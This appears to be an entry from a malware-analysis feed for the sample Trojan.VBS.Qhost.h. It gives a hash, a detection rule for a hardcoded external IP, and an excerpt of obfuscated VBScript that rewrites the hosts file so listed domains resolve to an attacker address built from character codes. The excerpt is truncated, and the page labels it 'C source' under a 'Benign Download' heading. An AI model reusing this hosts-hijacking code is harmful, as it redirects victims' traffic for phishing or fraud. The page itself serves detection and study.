Benign Download

Trojan.VBS.Qhost.h

External IPv4 string literal in C sourceHardcoded external IPv4 address
SHA-2560b91b630c645f33bff80d82f14ffbd95ab1e2f9c59f38228ec912faa6f0b1b6f
MaleculeO(S)H(Cm)

Evidence

External IPv4 string literal in C source line 3
3:364… = fso.CreateTextFile(p, True):f.WriteLine("127.0.0.1" & chr(9) & "localhost"):d=".":k = Split(list,","):For i = 0 To UBound(k):If Left(k(i),4) = "w"&"w"&"w"&"." Then:kk = k(i):ks = Right(k(i),len(k(i))-4):Else:kk = "www." & k(i):ks = k(i):End If:If len("218.85.139.121")=14 Then:f.WriteLine chr(50)&chr(49)&chr(56)&d&chr(56)&chr(53)&d&chr(49)&chr(51)&chr(57)&d&chr(49)&chr(50)&chr(49)&chr(9)&kk:f.Wri …

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.